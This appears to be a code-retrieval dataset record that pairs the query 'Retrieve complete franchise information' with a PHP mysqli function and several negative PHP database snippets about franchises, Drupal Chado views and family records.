[ "0.7380835", "0.68255067", "0.6470812", "0.6294565", "0.6284764", "0.6284669", "0.62771213", "0.6233683", "0.6219133", "0.62148505", "0.62105376", "0.6182326", "0.6081196", "0.60786396", "0.60555726", "0.6054415", "0.5934563", "0.5920512", "0.59172106", "0.59172106", "0.5850013", "0.5846397", "0.584199", "0.5839237", "0.5836584", "0.58286726", "0.5816176", "0.5795871", "0.57817775", "0.57811606", "0.5778394", "0.5760452", "0.5760452", "0.5760223", "0.5760223", "0.5760223", "0.5759771", "0.57593805", "0.57402176", "0.5735354", "0.5734932", "0.5733406", "0.5726689", "0.57068557", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.5705101", "0.57014805", "0.56875634", "0.5686318", "0.5677311", "0.5650365", "0.5650365", "0.5647093", "0.564339", "0.56392187", "0.56392187", "0.5638662", "0.5638662", "0.5638662", "0.56376594", "0.563456", "0.56341124", "0.5628125", "0.5626206", "0.5623976", "0.561381", "0.56068236", "0.560299", "0.55949754", "0.55927956", "0.5579377", "0.55790484", "0.55746645", "0.55694306", "0.5568246", "0.55677474", "0.5556411", "0.55563974", "0.55543256", "0.5551523" ]
0.57296103
42
Retrieve complete franchise information
function fetchFranchiseDetails($id) { $data = $id; global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("SELECT id, fname, lname, ssefin, email, phone_business, phone, home_phone, fax, address, city_state_zip, developer_bank, software, afname, alname, aemail, primary_phone, aphone, afax, acity_state_zip, file, laddress, lstore, lstore_type, lcity_state_zip, lemail, lwebsite, lphone, lphone2, lfax, date, date_modified, active, comments FROM " . $db_table_prefix . "franchise WHERE id = ? LIMIT 1"); $stmt->bind_param("s", $data); $stmt->execute(); $stmt->bind_result( $id, $fname, $lname, $ssefin, $email, $phone_business, $phone, $home_phone, $fax, $address, $city_state_zip, $developer_bank, $software, $afname, $alname, $aemail, $primary_phone, $aphone, $afax, $acity_state_zip, $file, $laddress, $lstore, $lstore_type, $lcity_state_zip, $lemail, $lwebsite, $lphone, $lphone2, $lfax, $date, $date_modified, $active, $comments); while ($stmt->fetch()) { $row[] = array('id' => $id, 'fname' => $fname, 'lname' => $lname, 'ssefin' => $ssefin, 'email' => $email, 'phone_business' => $phone_business, 'phone' => $phone, 'home_phone' => $home_phone, 'fax' => $fax, 'address' => $address, 'city_state_zip' => $city_state_zip, 'developer_bank' => $developer_bank, 'software' => $software, 'afname' => $afname, 'alname' => $alname, 'aemail' => $aemail, 'primary_phone' => $primary_phone, 'aphone' => $aphone, 'afax' => $afax, 'acity_state_zip' => $acity_state_zip, 'file' => $file, 'laddress' => $laddress, 'lstore' => $lstore, 'lstore_type' => $lstore_type, 'lcity_state_zip' => $lcity_state_zip, 'lemail' => $lemail, 'lwebsite' => $lwebsite, 'lphone' => $lphone, 'lphone2' => $lphone2, 'lfax' => $lfax, 'date' => $date, 'date_modified' => $date_modified, 'active' => $active, 'comments' => $comments); } $stmt->close(); return ($row); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function get_franchises($queryargs = array()) {\n $query = \"/franchises/\";\n return $this->get_list_data($query, $queryargs);\n }", "public function select_franchise(){\n\t\t$query = \"SELECT * FROM `franchise`\";\n\t\t$result = mysql_query($query);\n\t\tif($result){\n\t\t\treturn $result;\t\t\t \n\t\t}else{\n\t\t\tdie('can not select'.mysql_error());\n\t\t}\n\t}", "public function getInformation();", "public function getAllFranchises(){\n $query = \"SELECT * FROM franchises ORDER BY name\";\n $result = $this->connection->query($query);\n $result = $result->fetchAll(PDO::FETCH_ASSOC);\n $franchises = [];\n foreach($result as $data){\n $franchises[] = new Franchise($data);\n }\n return $franchises;\n }", "public function getFacility();", "function load_Info()\n {\n\n $this->Facility_Info($this->facilities[0]);\n }", "public function getInfo();", "function jx_get_franchiselist(){\r\n\t\t$output = array();\r\n\t\t \r\n\t\t$f_list_res = $this->db->query(\"select franchise_id,pnh_franchise_id,franchise_name from pnh_m_franchise_info a order by franchise_name asc \");\r\n\t\tif($f_list_res->num_rows())\r\n\t\t{\r\n\t\t\t$output['f_list'] = $f_list_res->result_array();\r\n\t\t\t$output['status'] = 'success';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$output['status'] = 'error';\r\n\t\t\t$output['message'] = 'No Franchises found';\r\n\t\t}\r\n\t\techo json_encode($output);\r\n\t}", "function jx_franchaise_det()\r\n\t{\r\n\t\t$output = array();\r\n\t\t$fid = $this->input->post('fid'); \r\n\t\t$f_last_credit_info_res = $this->db->query(\"select b.franchise_id,b.pnh_franchise_id,\r\n\t\t\t\t\t\t\t\t\t\t\tb.franchise_name,b.login_mobile1,b.login_mobile2,d.territory_name,e.town_name,\r\n\t\t\t\t\t\t\t\t\t\t\tifnull(a.credit_added,0) as credit_added,\r\n\t\t\t\t\t\t\t\t\t\t\tifnull(b.current_balance,0) as current_balance,\r\n\t\t\t\t\t\t\t\t\t\t\tround((b.current_balance+b.credit_limit),2) as available_limit,\r\n\t\t\t\t\t\t\t\t\t\t\tifnull(a.credit_given_by,0) as credit_given_by,\r\n\t\t\t\t\t\t\t\t\t\t\tifnull(a.new_credit_limit,0) as new_credit_limit,\r\n\t\t\t\t\t\t\t\t\t\t\tifnull(c.name,'') as credit_given_by_name,\r\n\t\t\t\t\t\t\t\t\t\t\ta.reason,\r\n\t\t\t\t\t\t\t\t\t\t\ta.created_on \r\n\t\t\t\t\t\t\t\tfrom pnh_m_franchise_info b \r\n\t\t\t\t\t\t\t\tleft join pnh_t_credit_info a on a.franchise_id = b.franchise_id\r\n\t\t\t\t\t\t\t\tleft join king_admin c on a.credit_given_by = c.id \r\n\t\t\t\t\t\t\t\tjoin pnh_m_territory_info d on d.id=b.territory_id\r\n\t\t\t\t\t\t\t\tjoin pnh_towns e on e.id=b.town_id\r\n\t\t\t\t\t\t\t\twhere b.pnh_franchise_id = ? order by a.id desc limit 1\",$fid);\r\n\t\tif($f_last_credit_info_res->num_rows())\r\n\t\t{\r\n\t\t\t$output['f_det'] = $f_last_credit_info_res->row_array();\r\n\t\t\t$fr_credit_det = $this->erpm->get_fran_availcreditlimit($output['f_det']['franchise_id']);\r\n\t\t\t$output['f_det']['available_limit'] = $fr_credit_det[3];\r\n\t\t\t$output['f_det']['created_on'] = format_datetime_ts($output['f_det']['created_on']);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$output['status'] = 'error';\r\n\t\t\t$output['message'] = 'Invalid OR Franchise not found';\r\n\t\t}\r\n\t\techo json_encode($output);\r\n\t\t\r\n\t}", "public function getDetail();", "public function get_franchise($id, $queryargs = array()) {\n return $this->get_item_of_type($id, 'franchise', $queryargs);\n }", "public function show_feature(){\n\t\t\n\t\t//Connection establishment, processing of data and response from REST API\n\t\t$path=base_url();\n\t\t$url = $path.'api/settings_api/all_feature';\t\t\n\t\t$ch = curl_init($url);\n\t\tcurl_setopt($ch, CURLOPT_HTTPGET, true);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\t$response_json = curl_exec($ch);\n\t\tcurl_close($ch);\n\t\t$response=json_decode($response_json, true);\n\t\treturn $response;\t\t\n\t\t\n\t}", "public function getFilial(){\n $query = $this->connect->prepare(\"SELECT B.FILIAL FILIALORIGEM, \n C.FILIAL FILIALDESTINO\n FROM OP_VIAGEM A\n LEFT JOIN OP_VIAGEMPERCURSOFILIAL B ON B.VIAGEM = A.HANDLE AND B.EHINICIOVIAGEM = 'S'\n LEFT JOIN OP_VIAGEMPERCURSOFILIAL C ON C.VIAGEM = A.HANDLE AND C.EHTERMINOVIAGEM = 'S'\n WHERE A.HANDLE = '$this->handle' \");\n $query->execute();\n $dataSet = $query->fetch(PDO::FETCH_ASSOC);\n\n $this->filialDestino = $dataSet['FILIALDESTINO'];\n $this->filialOrigem = $dataSet['FILIALORIGEM'];\n }", "public function Franchiseprofilelist($franchiseid) {\n\n $this->db->where('account_id', $franchiseid);\n $this->db->where('account_type', 2);\n $profileinfo = $this->db->get('profile')->result();\n return $profileinfo;\n }", "public function GetUserFranchise(Request $request){\n $validation = validator()->make($request->all(), [\n 'user_id' => 'required',\n\n ]);\n if ($validation->fails()) {\n $data = $validation->errors();\n return $this->responseJson(0,$validation->errors()->first(),$data);\n }\n $franchises=Franchise::where('user_id',$request->user_id)->get();\n\n if(count($franchises)<1){\n return $this->responseJson(0,'No franchises for this user','');\n }\n else{\n return $this->responseJson(1,'operation success',$franchises);\n }\n\n }", "public function getFranchiseById($franchise_id){\n $pdo = $this->connection->prepare(\"SELECT name FROM franchises WHERE id=:franchise_id\");\n $pdo->execute(array(\n 'franchise_id' => $franchise_id\n ));\n $franchise = $pdo->fetch(PDO::FETCH_ASSOC);\n \n return new Franchise($franchise);\n }", "public function getInfo() {}", "public function getInfo() {}", "function retrieve_chado_feature_views_data () {\n\tglobal $db_url;\n $data = array();\n \n // if the chado database is not local to the drupal database\n // then we need to set the database name. This should always\n // be 'chado'.\n if(is_array($db_url) and array_key_exists('chado',$db_url)){\n // return empty data array b/c if chado is external then no join to the nodetable can be made\n return $data;\n }\n\n // Basic table definition\n $data['chado_feature']['table'] = array(\n 'field' => 'nid',\n );\n \n // Note: No joins need to be made from $data['feature']['table']\n \n // Join the chado feature table to feature\n $data['chado_feature']['table']['join']['feature'] = array(\n \t'left_field' => 'feature_id',\n \t'field' => 'feature_id',\n );\n \n // Join the node table to chado feature\n $data['node']['table']['join']['chado_feature'] = array(\n \t'left_field' => 'nid',\n \t'field' => 'nid',\n );\n \n // Join the node table to feature\n $data['node']['table']['join']['feature'] = array(\n \t'left_table' => 'chado_feature',\n \t'left_field' => 'nid',\n \t'field' => 'nid',\n );\n \n // Add relationship between chado_feature and feature\n $data['chado_feature']['feature_nid'] = array(\n 'group' => 'Feature',\n 'title' => 'Feature Node',\n 'help' => 'Links Chado Feature Fields/Data to the Nodes in the current View.',\n 'real field' => 'feature_id',\n 'relationship' => array(\n 'handler' => 'views_handler_relationship',\n 'title' => t('Chado => Feature'),\n 'label' => t('Chado => Feature'),\n 'real field' => 'feature_id',\n 'base' => 'feature',\n 'base field' => 'feature_id'\n ),\n );\n\n // Add node relationship to feature\n $data['chado_feature']['feature_chado_nid'] = array(\n 'group' => 'Feature',\n 'title' => 'Feature Node',\n 'help' => 'Links Chado Feature Fields/Data to the Nodes in the current View.',\n 'real field' => 'nid',\n 'relationship' => array(\n 'handler' => 'views_handler_relationship',\n 'title' => t('Chado => Node'),\n 'label' => t('Chado => Node'),\n 'real field' => 'nid',\n 'base' => 'node',\n 'base field' => 'nid'\n ),\n );\n \n\treturn $data;\n}", "public function getsvinfoAction()\n {\n $uid = $this->uid;\n $fid = $this->_request->getParam('fid', null);\n\n $result1 = Hapyfish2_Island_Bll_SuperVisitor::getSuperVisitor($uid, $fid);\n\n // update by hdf add compound visitor\n $result2 = Hapyfish2_Island_Bll_CompoundSuperVisitor::getSuperVisitor($uid, $fid);\n $result['spVisitors'] = array_merge($result1['spVisitors'], $result2['spVisitors']); \n\n $this->echoResult($result);\n }", "public function getFarms(){\n\t\t$url = 'http://www.vermontfresh.net/member-search/MemberSearchForm?Keywords=&ProductCategoryID=&Categories%5B13%5D=13&RegionID=&action_doMemberSearch=Search';\n\t\treturn $this->parse_data($url);\n\t}", "public function get_franchise_shows($franchise_id, $queryargs = array()) {\n return $this->get_child_items_of_type($franchise_id, 'franchise', 'show', $queryargs);\n }", "public function index()\n {\n // $franchises = User::find(session('user')->id)->franchises;\n $franchises = Franchise::where([\n ['user_id', '=', session('user')->id],\n ['status', '=', 1]\n ])->get();\n\n return view('franchise.index', ['franchises' => $franchises]);\n }", "public function getInformation(): array;", "function FeaturesDetails() \n {\n \n $FeaturesDetails= \"SELECT f.*,fd.*,st.*,fs.name as fname,pi.pi_title as ptitle,tp.name as tname\n FROM features AS f\n LEFT JOIN feature_statuses AS fs ON fs.id = f.f_status_id\n LEFT JOIN productincrements AS pi ON pi.pi_id = f.f_PI\n LEFT JOIN topics AS tp ON tp.id = f.f_topic_id\n LEFT JOIN feature_details AS fd ON fd.f_id = f.f_id\n LEFT JOIN staff AS st ON st.staff_id = fd.f_SME\"; \n $FeaturesDetailsresult = $this->ds->select($FeaturesDetails);\n //print '<pre>';print_r($FeaturesDetailsresult);\n return $FeaturesDetailsresult;\n }", "function get_franchise_account_stat_byid($fid)\r\n\t{\r\n\t\t$det = array();\r\n\t\t\r\n\t\t$ordered_tilldate = @$this->db->query(\"select round(sum((i_orgprice-(i_coup_discount+i_discount))*b.quantity),2) as amt \r\n\t\t\tfrom king_transactions a \r\n\t\t\tjoin king_orders b on a.transid = b.transid \r\n\t\t join pnh_m_franchise_info c on c.franchise_id = a.franchise_id \r\n\t\t\twhere a.franchise_id = ? \",$fid)->row()->amt;\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t$not_shipped_amount = $this->db->query(\" select sum(t) as amt from (\r\n\t\t\t\t\t\t\t\t\t\t\tselect a.invoice_no,debit_amt as t \r\n\t\t\t\t\t\t\t\t\t\t\t\tfrom pnh_franchise_account_summary a \r\n\t\t\t\t\t\t\t\t\t\t\t\tjoin king_invoice c on c.invoice_no = a.invoice_no and invoice_status = 1 \r\n\t\t\t\t\t\t\t\t\t\t\t\twhere action_type = 1 \r\n\t\t\t\t\t\t\t\t\t\t\t\tand franchise_id = ? \r\n\t\t\t\t\t\t\t\t\t\t\tgroup by a.invoice_no ) as a \r\n\t\t\t\t\t\t\t\t\t\t\tjoin shipment_batch_process_invoice_link b on a.invoice_no = b.invoice_no and shipped = 0 \",$fid)->row()->amt;\r\n\t\t\t\t\r\n\t\t\t\t\t\t\r\n\t\t$total_invoice_val = $this->db->query(\"select sum(debit_amt) as amt from pnh_franchise_account_summary where action_type = 1 and franchise_id = ? \",$fid)->row()->amt;\r\n\t\t$total_invoice_cancelled_val = $this->db->query(\"select sum(credit_amt) as amt from pnh_franchise_account_summary where action_type = 1 and franchise_id = ? \",$fid)->row()->amt;\r\n\t\t\t\r\n\t\t\t$sql = \"select sum(credit_amt) as amt \r\n\t\t\t\t\t\tfrom pnh_franchise_account_summary a\r\n\t\t\t\t\t\tjoin pnh_t_receipt_info b on a.receipt_id = b.receipt_id \r\n\t\t\t\t\t\twhere action_type = 3 and a.franchise_id = ? and a.receipt_type = 1 and a.status = 1 and b.status = 1 \r\n\t\t\t\t\t\";\r\n\t\t$total_active_receipts_val = $this->db->query($sql,array($fid))->row()->amt ;\r\n\t\t\t\r\n\t\t\t$sql = \"select sum(receipt_amount) as amt \r\n\t\t\t\t\t\t\tfrom pnh_t_receipt_info \r\n\t\t\t\t\t\t\twhere franchise_id = ? \r\n\t\t\t\t\t\t\tand status in (2,3) and is_active = 1 \r\n\t\t\t\t\t\";\r\n\t\t\t\t\t \r\n\t\t$total_cancelled_receipts_val = $this->db->query($sql,array($fid))->row()->amt;\r\n\t\t\t\r\n\t\t$sql = \"select sum(receipt_amount) as amt \r\n\t\t\t\t\t\t\tfrom pnh_t_receipt_info \r\n\t\t\t\t\t\t\twhere franchise_id = ? and status = 0 and receipt_type = 1 \r\n\t\t\t\t\t\";\r\n\t\t\t\t\t \r\n\t\t$total_pending_receipts_val = $this->db->query($sql,array($fid))->row()->amt;\r\n\t\t\t\r\n\t\t$sql = \"select sum(credit_amt-debit_amt) as amt \r\n\t\t\t\t\t\tfrom pnh_franchise_account_summary where action_type = 5 and franchise_id = ? \";\r\n\t\t$acc_adjustments_val = $this->db->query($sql,array($fid))->row()->amt;\r\n\t\t\r\n\t\t/*\r\n\t\t$sql = \"select sum(credit_amt-debit_amt) as amt \r\n\t\t\t\t\t\t\tfrom pnh_franchise_account_summary where action_type = 7 and franchise_id = ? \";\r\n\t\t$ttl_credit_note_val = $this->db->query($sql,array($fid))->row()->amt;\r\n\t\t */ \r\n\t\t\r\n\t\t$sql = \"select (sum(credit_amt)-sum(debit_amt)) as amt from ((\r\nselect statement_id,type,count(a.invoice_no) as invoice_no,sum(credit_amt) as credit_amt,sum(debit_amt) as debit_amt,date(a.created_on) as action_date,concat('Total ',count(a.invoice_no),' IMEI Activations') as remarks \r\n\t\tfrom pnh_franchise_account_summary a \r\n\t\tjoin t_invoice_credit_notes b on a.credit_note_id = b.id \r\n\t\twhere action_type = 7 and type = 2 \r\n\t\tand a.franchise_id = ? \r\n\t\t \r\n\tgroup by action_date \t\r\n)\r\nunion\r\n(\r\nselect statement_id,1 as type,(a.invoice_no) as invoice_no,sum(credit_amt) as credit_amt,sum(debit_amt) as debit_amt,date(a.created_on) as action_date,remarks\r\n\t\tfrom pnh_franchise_account_summary a \r\n\t\tjoin t_invoice_credit_notes b on a.invoice_no = b.invoice_no \r\n\t\twhere action_type = 7 and type = 1 \r\n\t\tand a.franchise_id = ? \r\n\t\t \r\n\t group by statement_id \r\n)\r\n) as g \r\norder by action_date\";\r\n\t\t$ttl_credit_note_val = $this->db->query($sql,array($fid,$fid))->row()->amt; \r\n\t\t\r\n\t\t$total_active_invoiced = ($total_invoice_val-$total_invoice_cancelled_val);\r\n\t\t\r\n\t\t$data['net_payable_amt'] = ($total_active_invoiced-($total_active_receipts_val+$acc_adjustments_val+$ttl_credit_note_val));\r\n\t\t\r\n\t\t$data['shipped_tilldate'] = $total_active_invoiced-$not_shipped_amount; \r\n\t\t$data['credit_note_amt'] = $ttl_credit_note_val;\r\n\t\t$data['paid_tilldate'] = $total_active_receipts_val;\r\n\t\t$data['uncleared_payment'] = $total_pending_receipts_val;\r\n\t\t$data['cancelled_tilldate'] = $total_cancelled_receipts_val;\r\n\t\t$data['ordered_tilldate'] = $ordered_tilldate;\r\n\t\t$data['not_shipped_amount'] = $not_shipped_amount;\r\n\t\t$data['acc_adjustments_val'] = $acc_adjustments_val;\r\n\t\t$data['current_balance'] = ($data['shipped_tilldate']-$data['paid_tilldate']+$data['acc_adjustments_val']-$data['credit_note_amt'])*-1;\r\n\t\t\r\n\t\t$payment_pen = ($data['shipped_tilldate']-$data['paid_tilldate']+$data['acc_adjustments_val']);\r\n\t\t$data['pending_payment'] = ($payment_pen<0)?0:$payment_pen;\r\n\t\t\t\r\n\t\treturn $data;\t\r\n\t}", "abstract public function infoAll();", "function getInfo();", "function get_featured_travelinfo() {\n $sql = \"SELECT * FROM news WHERE parentid='' AND featured='1' ORDER BY id DESC LIMIT 7\";\n $res = $this->mysqli->query($sql);\n $data = array();\n while ($row = $res->fetch_array(MYSQLI_ASSOC)) {\n $data[] = $row;\n }\n return $data;\n }", "public function getFamille(){\n\t\t$req = \"select * from famille\";\n\t\t$rs = PdoGsb::$monPdo->query($req);\n\t\t$ligne = $rs->fetchAll();\n\t\treturn $ligne;\n\t}", "function obtener_facultades (){\n \n //$nombre_usuario=toba::usuario()->get_nombre();\n //$sql=\"SELECT t_s.sigla FROM sede t_s, administrador t_a WHERE t_a.nombre_usuario=$nombre_usuario AND t_s.id_sede=t_a.id_sede\";\n //$sql=\"SELECT t_ua.sigla, t_ua.descripcion FROM unidad_academica t_ua, sede t_s JOIN administrador t_a ON (t_a.nombre_usuario=$nombre_usuario) JOIN (t_a.id_sede=t_s.id_sede) WHERE t_s.sigla=t_ua.id_sede\";\n $sql=\"SELECT sigla, descripcion FROM unidad_academica WHERE sigla <> 'RECT'\";\n return toba::db('gestion_aulas')->consultar($sql);\n \n }", "public function\tgetReferidoInfo(){\r\t\t\r\t\t$model_ref = $this->getModel( 'referido' );\r\t\t$idref = JRequest::getInt( 'idref' );\r\t\t\r\t\t$model_ref->instance( $idref );\r\t\t$inf_ref = $model_ref->getReferidoInf();\r\t\t\r\t\tif( !empty($inf_ref) ){\r\t\t\t\r\t\t\t$model_ref\r\t\t}\r\t\t\r\t}", "function jx_getfranlist_active()\r\n\t{\r\n\t\t$output = array();\r\n\t\t$fran_list_res = $this->db->query(\"select franchise_id,franchise_name from pnh_m_franchise_info where is_suspended = 0 order by franchise_name \");\r\n\t\tif($fran_list_res->num_rows())\r\n\t\t{\r\n\t\t\t$output['fran_list'] = $fran_list_res->result_array();\r\n\t\t\t$output['status'] = 'success';\r\n\t\t}else\r\n\t\t{\r\n\t\t\t$output['error'] = 'No franchises found';\r\n\t\t\t$output['status'] = 'error';\r\n\t\t}\r\n\t\techo json_encode($output);\r\n\t}", "public function findrelation(){\n\t\t$famid = \\Input::get('fid'); \n\t\t$memid1 = \\Input::get('rfid1');\n\t\t$memid2 = \\Input::get('rfid2');\n\t\tMisc::isfam_valid($famid,\"Show\");\n\n\t\tif($memid1 == $memid2) return \\Response::make(\"SELF\");\n\t\t$famgraph = new FamilyGraph($famid);\n \t \t\n \t \t$relation = $famgraph->FindRelationsBetween($memid1,$memid2) ;\n \t \treturn \\Response::make(Misc::get_relation_in_mylang($relation) );\n\t}", "function retrive_general_details_for_single_pfac_in_preview($pfac_id, $params){\n\t\n\t\tglobal $connection;\n\t\t$sql = \"SELECT pfac__genral_details.* FROM pfac__genral_details \n\t\t\t\t\t\tWHERE pfac__genral_details.id = {$pfac_id}\";\n\t\treturn DBFunctions::result_to_array_for_few_fields(DBFunctions::execute_query($sql), $params);\t\t\t\t\n\t}", "abstract public function getDetails();", "public function getInfo(): array;", "FUNCTION getLesInfos()\n\t\t\t{\n\t\t\t\t$code = '1';\n\t\t\t\t$sReq = \"SELECT INF_ID, INF_NOM, INF_TEL, INF_MAIL, INF_RUE, INF_VILLE, INF_COPOS, INF_SITE\n\t\t\t\t\t\t\tFROM info\";\n\t\t\t\t\n\t\t\t\t$info = $_SESSION['bdd']->query($sReq);\n\t\t\t\treturn $info;\n\t\t\t}", "public function get_details() {\n\t\t$member_id = $this->uri->segment(3);\n\t\t$member_details = $this->get_member_details($member_id);\n\t\t\n\t\t$data['type'] = ($this->type === NULL)? 'active': $this->type;\n\t\t$data['user_mode'] = $this->session->userdata('mode');\n\t\t$data['member'] = (isset($member_details[0]))? $member_details[0]: NULL;\n\t\t\n\t\t$full_name = $member_details[0]->fname . ' ' . \n\t\t\t$member_details[0]->mname . ' ' . \n\t\t\t$member_details[0]->lname;\n\n\t\t$this->breadcrumbs->set(['Member Information: ' . $full_name => 'members/info/' . $member_id]);\n\t\t$this->render('information', $data);\n\t}", "public function getFax() {}", "private function getImmediateFamily()\n {\n if (!isset($this->immediateFamily)) {\n $this->immediateFamily = array();\n\n $relativeIds = array();\n $relativeIdToRelationshipDescriptionMapping = array();\n $individual = $this->getIndividual();\n if (isset($individual['immediate_family']['data']) && count($individual['immediate_family']['data']) > 0) {\n // aggregate relative ids\n $immediateFamily = $individual['immediate_family']['data'];\n foreach ($immediateFamily as $relative) {\n $relativeId = $relative['individual']['id'];\n $relativeIds[] = $relativeId;\n $relativeIdToRelationshipDescriptionMapping[$relativeId] = $relative['relationship_description'];\n }\n }\n\n // get relatives names and personal photo ids\n if (!empty($relativeIds)) {\n $params = array('fields' => 'name,personal_photo');\n $results = $this->getFamilyGraph()->api($relativeIds, $params);\n if ($results) {\n foreach ($results as $relative) {\n $relativeId = $relative['id'];\n $relative['relationship_description'] = isset($relativeIdToRelationshipDescriptionMapping[$relativeId]) ? $relativeIdToRelationshipDescriptionMapping[$relativeId] : '';\n $this->immediateFamily[] = $relative;\n }\n }\n }\n }\n\n return $this->immediateFamily;\n }", "public static function getInfo(){ //функция для получения массива общей информации из бд\n \n $db = Db::getConnection(); //инициализируем подключение к бд\n \n $info = array(); //инициализируем переменную \n \n $result = $db->query('SELECT * FROM info'); // получаем из базы список\n \n $result->setFetchMode(PDO::FETCH_ASSOC);\n \n $row = $result->fetch();\n foreach ($row as $key => $value) { //перебираем массив полученный из бд и формируем массив для вывода на страницу сайта\n $info[$key] = $value;\n }\n \n return $info; //возвращаем массив\n }", "function get_travelinfo() {\n $sql = \"SELECT * FROM travelinfo_category LIMIT 4 \";\n $res = $this->mysqli->query($sql);\n $data = array();\n while ($row = $res->fetch_array(MYSQLI_ASSOC)) {\n $data[] = $row;\n }\n return $data;\n }", "public function getAllFranchisesOrderedById(){\n $query = \"SELECT * FROM franchises ORDER BY id\";\n $result = $this->connection->query($query);\n $result = $result->fetchAll(PDO::FETCH_ASSOC);\n $franchises = [];\n foreach($result as $data){\n $franchises[] = new Franchise($data);\n }\n return $franchises;\n }", "public function getFax();", "public function memberinfo(){\n\t\t$pid = \\Input::get('id');\n\t\tMisc::isid_valid($pid, \"Show\");\n\t\t\n \t \tif(! Misc::isid_valid($pid, \"Show\")){\n \t \t\t// invalid access - to handle later\n \t \t\treturn redirect('/') ;\n \t \t}\n\n\t \t$member = Person::where('id','=',$pid)->get(['id','family_id','name','nickname','city','image','gender'])[0];\t \t\n\t \tif($member->image != null) {\n\t \t\t$member->image = $pid .\"f\".$member->family_id.\".\".$member->image ;\n\t \t} \n\t\t$member->name = $this->getfullname($member->id, $member->name, $member->nickname) ;\n\n\t\t$sql = \"select A.id, B.relative_id, A.name , B.relation, C.name as relname \n\t\t from persons A, relations B, persons C\n\t\t where A.id = B.person_id \n\t\t and C.id = B.relative_id\n\t\t and (B.person_id = :id or B.relative_id = :id2) \" ;\n\n \t\t$relatives = \\DB::select($sql, ['id' => $pid, 'id2' => $pid]) ; \t\t\n \t\t$member->relative = \"\";\n \t\t$member->relation = \"\" ;\n \t\tif($relatives[0]->id == $pid){\n \t\t\t$member->relative = $relatives[0]->relname ;\n \t\t\t$member->relation = Misc::get_relation_in_mylang($relatives[0]->relation) ; \t\t\t\n \t\t} else{\n \t\t\t$member->relative = $relatives[0]->name ;\n \t\t\t$member->relation = Misc::get_revrelation_in_mylang($relatives[0]->relation,$member->gender); \t\t\t\n \t\t}\n\n\t \treturn \\Response::make($member);\n\t}", "public function getFamily() {}", "public function getFarmsEggs(){\n\t\t$url = 'http://www.vermontfresh.net/member-search/MemberSearchForm?Keywords=&ProductCategoryID=9&Categories%5B13%5D=13&RegionID=&action_doMemberSearch=Search';\n\t\treturn $this->parse_data($url);\n\t}", "public function affiche_infos()\n {\n $returnValue = null;\n\n // section -64--88-56-1-530ab1a6:1720ae78e2d:-8000:0000000000000AF0 begin\n // section -64--88-56-1-530ab1a6:1720ae78e2d:-8000:0000000000000AF0 end\n\n return $returnValue;\n }", "public function info_post(){\n $result = array();\n $arrWhere = array();\n\n $fid = $this->input->post('fid', TRUE);\n \n $result = $this->MUGroup->get_data_info($fid);\n if ($result){\n $this->response([\n 'status' => TRUE,\n 'result' => $result\n ], REST_Controller::HTTP_OK);\n }else{\n $this->response([\n 'status' => FALSE,\n 'message' => 'No data available'\n ], REST_Controller::HTTP_OK);\n }\n }", "public function getFarmsDairy(){\n\t\t$url = 'http://www.vermontfresh.net/member-search/MemberSearchForm?Keywords=&ProductCategoryID=10&Categories%5B13%5D=13&RegionID=&action_doMemberSearch=Search';\n\t\treturn $this->parse_data($url);\n\t}", "public function getLesFraisForfait(){\r\n\t\t$req = \"select af_fraisforfait.id as idfrais, libelle, montant from af_fraisforfait order by af_fraisforfait.id\";\r\n\t\t$rs = $this->db->query($req);\r\n\t\t$lesLignes = $rs->result_array();\r\n\t\treturn $lesLignes;\r\n\t}", "public function get_ff()\n\t{\n\t\t$ff = array();\n\t\t\n\t\t// hent firmaer som leier ut garasjer\n\t\t$crew = access::has(\"mod\") ? \"\" : \" AND ff_is_crew = 0\";\n\t\t$result = \\Kofradia\\DB::get()->query(\"\n\t\t\tSELECT ff_id, ff_name, ff_params\n\t\t\tFROM ff\n\t\t\tWHERE ff_type = \".ff::TYPE_GARASJE.\" AND ff_inactive = 0$crew\");\n\t\t\n\t\twhile ($row = $result->fetch())\n\t\t{\n\t\t\t$params = new params($row['ff_params']);\n\t\t\tunset($row['ff_params']);\n\t\t\t\n\t\t\t$row['price'] = $params->get(\"garasje_price\", ff::GTA_GARAGE_PRICE_DEFAULT);\n\t\t\t$ff[$row['ff_id']] = $row;\n\t\t}\n\t\t\n\t\treturn $ff;\n\t}", "function jx_getfranchiseslist($type=0,$alpha=0,$terr_id=0,$town_id=0,$pg=0)\r\n\t\t{\r\n\t\t\t$this->erpm->auth();\r\n\t\t\t$user=$this->erpm->getadminuser();\r\n\t\t\t\r\n\t\t\tif(!$type)\r\n\t\t\t{\r\n\t\t\t\t$type = $this->input->post('type');\r\n\t\t\t\t$alpha = $this->input->post('alpha');\r\n\t\t\t\t$terr_id = $this->input->post('terr_id');\r\n\t\t\t\t$town_id = $this->input->post('town_id');\r\n\t\t\t\t$pg = $this->input->post('pg');\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t$alpha = ($alpha!='')?$alpha:0;\r\n\t\t\t$terr_id = $terr_id*1;\r\n\t\t\t$town_id = $town_id*1;\r\n\t\t\t\r\n\t\t\t$cond = $fil_cond = '';\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$sql=\"select f.created_on,f.is_suspended,group_concat(a.name) as owners,tw.town_name as town,f.is_lc_store,f.franchise_id,c.class_name,c.margin,c.combo_margin,f.pnh_franchise_id,f.franchise_name,\r\n\t\t\t\t\t\t\tf.locality,f.city,f.current_balance,f.login_mobile1,f.login_mobile2,\r\n\t\t\t\t\t\t\tf.email_id,u.name as assigned_to,t.territory_name \r\n\t\t\t\t\t\tfrom pnh_m_franchise_info f \r\n\t\t\t\t\t\tleft outer join king_admin u on u.id=f.assigned_to \r\n\t\t\t\t\t\tjoin pnh_m_territory_info t on t.id=f.territory_id \r\n\t\t\t\t\t\tjoin pnh_towns tw on tw.id=f.town_id \r\n\t\t\t\t\t\tjoin pnh_m_class_info c on c.id=f.class_id 